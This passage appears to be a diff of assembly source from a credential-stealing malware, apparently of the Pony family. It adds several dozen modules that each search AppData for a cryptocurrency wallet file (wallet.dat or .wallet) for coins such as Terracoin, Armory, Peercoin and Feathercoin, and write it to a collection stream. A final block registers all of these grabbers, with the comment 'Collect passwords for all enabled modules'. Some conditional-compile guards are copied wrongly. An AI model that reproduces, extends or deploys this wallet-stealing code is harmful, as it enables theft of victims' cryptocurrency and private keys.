-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Terracoin ; http://www.terracoin.org/ ; Tested: v0.8.0.2 ; SFTP: not supported IFDEF COMPILE_MODULE_TERRACOIN .data CTerracoinWalletFile db 'wallet.dat',0 CTerracoinAppDataDir db '\Terracoin',0 .code GrabTerracoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_TERRACOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CTerracoinAppDataDir, offset CTerracoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabTerracoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Bitcoin Armory ; https://bitcoinarmory.com/ ; Tested: Version 0.90-beta ; SFTP: not supported IFDEF COMPILE_MODULE_BITCOINARMORY .data CBitcoinArmoryWalletFile db '.wallet',0 CBitcoinArmoryAppDataDir db '\Armory',0 .code GrabBitcoinArmory proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_BITCOINARMORY, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CBitcoinArmoryAppDataDir, offset CBitcoinArmoryWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabBitcoinArmory endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; PPCoin (Peercoin) ; https://ppcoin.com/ ; Tested: v.0.3.0ppc-beta ; SFTP: not supported IFDEF COMPILE_MODULE_PPCOIN .data CPPCoinWalletFile db 'wallet.dat',0 CPPCoinAppDataDir db '\PPCoin',0 .code GrabPPCoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_PPCOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CPPCoinAppDataDir, offset CPPCoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabPPCoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Primecoin ; http://primecoin.org/ ; Tested: v0.1.2xpm-beta ; SFTP: not supported IFDEF COMPILE_MODULE_PRIMECOIN .data CPrimecoinWalletFile db 'wallet.dat',0 CPrimecoinAppDataDir db '\Primecoin',0 .code GrabPrimecoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_PRIMECOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CPrimecoinAppDataDir, offset CPrimecoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabPrimecoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Feathercoin ; http://feathercoin.com/ ; Tested: v0.6.4.4 ; SFTP: not supported IFDEF COMPILE_MODULE_PRIMECOIN .data CFeathercoinWalletFile db 'wallet.dat',0 CFeathercoinAppDataDir db '\Feathercoin',0 .code GrabFeathercoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_FEATHERCOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CFeathercoinAppDataDir, offset CFeathercoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabFeathercoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; NovaCoin ; http://novaco.in/ ; Tested: v0.4.4.0-g32a928e-beta ; SFTP: not supported IFDEF COMPILE_MODULE_NOVACOIN .data CNovaCoinWalletFile db 'wallet.dat',0 CNovaCoinAppDataDir db '\NovaCoin',0 .code GrabNovaCoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_NOVACOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CNovaCoinAppDataDir, offset CNovaCoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabNovaCoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Freicoin ; http://freico.in/ ; Tested: v0.8.3.0-unk-beta ; SFTP: not supported IFDEF COMPILE_MODULE_FREICOIN .data CFreicoinWalletFile db 'wallet.dat',0 CFreicoinAppDataDir db '\Freicoin',0 .code GrabFreicoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_FREICOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CFreicoinAppDataDir, offset CFreicoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabFreicoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Devcoin ; http://devcoin.org/ ; Tested: version 0.3.25.1-beta ; SFTP: not supported IFDEF COMPILE_MODULE_DEVCOIN .data CDevcoinWalletFile db 'wallet.dat',0 CDevcoinAppDataDir db '\Devcoin',0 .code GrabDevcoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_DEVCOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CDevcoinAppDataDir, offset CDevcoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabDevcoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Frankocoin ; http://frankos.org/ ; Tested: v0.8.4.1-16-g5f1dafe-bet ; SFTP: not supported IFDEF COMPILE_MODULE_FRANKOCOIN .data CFrankocoinWalletFile db 'wallet.dat',0 CFrankocoinAppDataDir db '\Franko',0 .code GrabFrankocoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_FRANKOCOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CFrankocoinAppDataDir, offset CFrankocoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabFrankocoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; ProtoShares ; http://invictus-innovations.com/protoshares ; Tested: v0.8.5.0-unk-beta ; SFTP: not supported IFDEF COMPILE_MODULE_PROTOSHARES .data CProtoSharesWalletFile db 'wallet.dat',0 CProtoSharesAppDataDir db '\ProtoShares',0 .code GrabProtoShares proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_PROTOSHARES, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CProtoSharesAppDataDir, offset CProtoSharesWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabProtoShares endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Megacoin ; http://www.megacoin.co.nz ; Tested: v0.8.996.0MEGA-beta ; SFTP: not supported IFDEF COMPILE_MODULE_MEGACOIN .data CMegacoinWalletFile db 'wallet.dat',0 CMegacoinAppDataDir db '\Megacoin',0 .code GrabMegacoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_MEGACOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CMegacoinAppDataDir, offset CMegacoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabMegacoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Quarkcoin ; http://www.quarkcoin.com/ ; Tested: v0.8.3.0-g09e437b-beta ; SFTP: not supported IFDEF COMPILE_MODULE_QUARKCOIN .data CQuarkcoinWalletFile db 'wallet.dat',0 CQuarkcoinAppDataDir db '\Quarkcoin',0 .code GrabQuarkcoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_QUARKCOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CQuarkcoinAppDataDir, offset CQuarkcoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabQuarkcoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; WorldCoin ; http://worldcoin.in ; Tested: v0.6.4.4-ga7433e7-beta ; SFTP: not supported IFDEF COMPILE_MODULE_WORLDCOIN .data CWorldCoinWalletFile db 'wallet.dat',0 CWorldCoinAppDataDir db '\Worldcoin',0 .code GrabWorldcoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_WORLDCOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CWorldCoinAppDataDir, offset CWorldCoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabWorldcoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Infinitecoin ; http://infinitecoin.com/ ; Tested: v1.8.0.0 ; SFTP: not supported IFDEF COMPILE_MODULE_WORLDCOIN .data CInfinitecoinWalletFile db 'wallet.dat',0 CInfinitecoinAppDataDir db '\Infinitecoin',0 .code GrabInfinitecoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_INFINITECOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CInfinitecoinAppDataDir, offset CInfinitecoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabInfinitecoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Ixcoin ; http://ixcoin.org/ ; Tested: 0.3.24.30-beta ; SFTP: not supported IFDEF COMPILE_MODULE_IXCOIN .data CIxcoinWalletFile db 'wallet.dat',0 CIxcoinAppDataDir db '\Ixcoin',0 .code GrabIxcoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_IXCOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CIxcoinAppDataDir, offset CIxcoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabIxcoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Anoncoin ; https://anoncoin.net ; Tested: v0.7.4b-5-gd36ff9d-beta ; SFTP: not supported IFDEF COMPILE_MODULE_IXCOIN .data CAnoncoinWalletFile db 'wallet.dat',0 CAnoncoinAppDataDir db '\Anoncoin',0 .code GrabAnoncoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_ANONCOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CAnoncoinAppDataDir, offset CAnoncoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabAnoncoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; BBQcoin ; http://bbqcoin.org/ ; Tested: v0.6.3.0-unk-beta ; SFTP: not supported IFDEF COMPILE_MODULE_BBQCOIN .data CBBQcoinWalletFile db 'wallet.dat',0 CBBQcoinAppDataDir db '\BBQcoin',0 .code GrabBBQcoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_BBQCOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CBBQcoinAppDataDir, offset CBBQcoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabBBQcoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Digitalcoin ; http://digitalcoin.co/en/ ; Tested: v1.0.0.0-g3aaa7ba-beta ; SFTP: not supported IFDEF COMPILE_MODULE_DIGITALCOIN .data CDigitalcoinWalletFile db 'wallet.dat',0 CDigitalcoinAppDataDir db '\Digitalcoin',0 .code GrabDigitalcoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_DIGITALCOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CDigitalcoinAppDataDir, offset CDigitalcoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabDigitalcoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; MinCoin ; http://www.min-coin.org/ ; Tested: v0.6.5.0-g498f5d1-beta ; SFTP: not supported IFDEF COMPILE_MODULE_MINCOIN .data CMincoinWalletFile db 'wallet.dat',0 CMincoinAppDataDir db '\Mincoin',0 .code GrabMincoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_MINCOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CMincoinAppDataDir, offset CMincoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabMincoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; GoldCoin ; http://gldcoin.com/ ; Tested: v0.7.1.6-gcf3abdf39d-beta ; SFTP: not supported IFDEF COMPILE_MODULE_GOLDCOIN .data CGoldcoinWalletFile db 'wallet.dat',0 CGoldcoinAppDataDir db '\GoldCoin (GLD)',0 .code GrabGoldcoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_GOLDCOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CGoldcoinAppDataDir, offset CGoldcoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabGoldcoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; YaCoin ; http://www.yacoin.org/ ; Tested: v0.4.0.0-g2nd-yac-wm-alpha ; SFTP: not supported IFDEF COMPILE_MODULE_YACOIN .data CYacoinWalletFile db 'wallet.dat',0 CYacoinAppDataDir db '\Yacoin',0 .code GrabYacoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_YACOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CYacoinAppDataDir, offset CYacoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabYacoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Zetacoin ; http://www.zeta-coin.org/ ; Tested: v0.8.99.0-unk-beta ; SFTP: not supported IFDEF COMPILE_MODULE_ZETACOIN .data CZetacoinWalletFile db 'wallet.dat',0 CZetacoinAppDataDir db '\Zetacoin',0 .code GrabZetacoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_ZETACOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CZetacoinAppDataDir, offset CZetacoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabZetacoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; FastCoin ; http://www.fastcoin.ca/ ; Tested: v0.6.3.0-gc4135e8-beta ; SFTP: not supported IFDEF COMPILE_MODULE_FASTCOIN .data CFastcoinWalletFile db 'wallet.dat',0 CFastcoinAppDataDir db '\Fastcoin',0 .code GrabFastcoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_FASTCOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CFastcoinAppDataDir, offset CFastcoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabFastcoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; i0coin ; http://i0coin.bitparking.com/ ; Tested: 0.3.25.9-beta ; SFTP: not supported IFDEF COMPILE_MODULE_I0COIN .data CI0coinWalletFile db 'wallet.dat',0 CI0coinAppDataDir db '\I0coin',0 .code GrabI0coin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_I0COIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CI0coinAppDataDir, offset CI0coinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabI0coin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Tagcoin ; http://tagcoin.org/ ; Tested: v1.0.2 ; SFTP: not supported IFDEF COMPILE_MODULE_TAGCOIN .data CTagcoinWalletFile db 'wallet.dat',0 CTagcoinAppDataDir db '\Tagcoin',0 .code GrabTagcoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_TAGCOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CTagcoinAppDataDir, offset CTagcoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabTagcoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Bytecoin ; http://www.bytecoin.biz/ ; Tested: v0.8.1.1-gfdc7831-beta ; SFTP: not supported IFDEF COMPILE_MODULE_BYTECOIN .data CBytecoinWalletFile db 'wallet.dat',0 CBytecoinAppDataDir db '\Bytecoin',0 .code GrabBytecoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_BYTECOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CBytecoinAppDataDir, offset CBytecoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabBytecoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Florincoin ; http://www.florincoin.org ; Tested: v0.6.5.8-unk-beta ; SFTP: not supported IFDEF COMPILE_MODULE_FLORINCOIN .data CFlorincoinWalletFile db 'wallet.dat',0 CFlorincoinAppDataDir db '\Florincoin',0 .code GrabFlorincoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_FLORINCOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CFlorincoinAppDataDir, offset CFlorincoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabFlorincoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Phoenixcoin ; http://phoenixcoin.org/ ; Tested: v0.6.5.0 ; SFTP: not supported IFDEF COMPILE_MODULE_PHOENIXCOIN .data CPhoenixcoinWalletFile db 'wallet.dat',0 CPhoenixcoinAppDataDir db '\Phoenixcoin',0 .code GrabPhoenixcoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_PHOENIXCOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CPhoenixcoinAppDataDir, offset CPhoenixcoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabPhoenixcoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Luckycoin ; https://cryptocointalk.com/forum/188-luckycoin-lky/ ; Tested: v0.9.9.0 ; SFTP: not supported IFDEF COMPILE_MODULE_LUCKYCOIN .data CLuckycoinWalletFile db 'wallet.dat',0 CLuckycoinAppDataDir db '\Luckycoin',0 .code GrabLuckycoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_LUCKYCOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CLuckycoinAppDataDir, offset CLuckycoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabLuckycoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; CraftCoin ; http://craftcoin.net ; Tested: v1.1.1.2-unk-crc ; SFTP: not supported IFDEF COMPILE_MODULE_CRAFTCOIN .data CCraftcoinWalletFile db 'wallet.dat',0 CCraftcoinAppDataDir db '\Craftcoin',0 .code GrabCraftcoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_CRAFTCOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CCraftcoinAppDataDir, offset CCraftcoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabCraftcoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; JunkCoin ; http://jkcoin.com/ ; Tested: v0.6.3.0-unk-beta ; SFTP: not supported IFDEF COMPILE_MODULE_JUNKCOIN .data CJunkcoinWalletFile db 'wallet.dat',0 CJunkcoinAppDataDir db '\Junkcoin',0 .code GrabJunkcoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_JUNKCOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CJunkcoinAppDataDir, offset CJunkcoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabJunkcoin endp ENDIF Line 13229 (code addition): AddModule COMPILE_MODULE_FASTTRACK, GrabFastTrack AddModule COMPILE_MODULE_BITCOIN, GrabBitcoin AddModule COMPILE_MODULE_ELECTRUM, GrabElectrum AddModule COMPILE_MODULE_MULTIBIT, GrabMultiBit AddModule COMPILE_MODULE_FTPDISK, GrabFTPDisk AddModule COMPILE_MODULE_LITECOIN, GrabLitecoin AddModule COMPILE_MODULE_NAMECOIN, GrabNamecoin AddModule COMPILE_MODULE_TERRACOIN, GrabTerracoin AddModule COMPILE_MODULE_BITCOINARMORY, GrabBitcoinArmory AddModule COMPILE_MODULE_PPCOIN, GrabPPCoin AddModule COMPILE_MODULE_PRIMECOIN, GrabPrimecoin AddModule COMPILE_MODULE_FEATHERCOIN, GrabFeathercoin AddModule COMPILE_MODULE_NOVACOIN, GrabNovaCoin AddModule COMPILE_MODULE_FREICOIN, GrabFreicoin AddModule COMPILE_MODULE_DEVCOIN, GrabDevcoin AddModule COMPILE_MODULE_FRANKOCOIN, GrabFrankocoin AddModule COMPILE_MODULE_PROTOSHARES, GrabProtoShares AddModule COMPILE_MODULE_MEGACOIN, GrabMegacoin AddModule COMPILE_MODULE_QUARKCOIN, GrabQuarkcoin AddModule COMPILE_MODULE_WORLDCOIN, GrabWorldcoin AddModule COMPILE_MODULE_INFINITECOIN, GrabInfinitecoin AddModule COMPILE_MODULE_IXCOIN, GrabIxcoin AddModule COMPILE_MODULE_ANONCOIN, GrabAnoncoin AddModule COMPILE_MODULE_BBQCOIN, GrabBBQcoin AddModule COMPILE_MODULE_DIGITALCOIN, GrabDigitalcoin AddModule COMPILE_MODULE_MINCOIN, GrabMincoin AddModule COMPILE_MODULE_GOLDCOIN, GrabGoldcoin AddModule COMPILE_MODULE_YACOIN, GrabYacoin AddModule COMPILE_MODULE_ZETACOIN, GrabZetacoin AddModule COMPILE_MODULE_FASTCOIN, GrabFastcoin AddModule COMPILE_MODULE_I0COIN, GrabI0coin AddModule COMPILE_MODULE_TAGCOIN, GrabTagcoin AddModule COMPILE_MODULE_BYTECOIN, GrabBytecoin AddModule COMPILE_MODULE_FLORINCOIN, GrabFlorincoin AddModule COMPILE_MODULE_PHOENIXCOIN, GrabPhoenixcoin AddModule COMPILE_MODULE_LUCKYCOIN, GrabLuckycoin AddModule COMPILE_MODULE_CRAFTCOIN, GrabCraftcoin AddModule COMPILE_MODULE_JUNKCOIN, GrabJunkcoin Line 13273 (comment added): ; Collect passwords for all enabled modules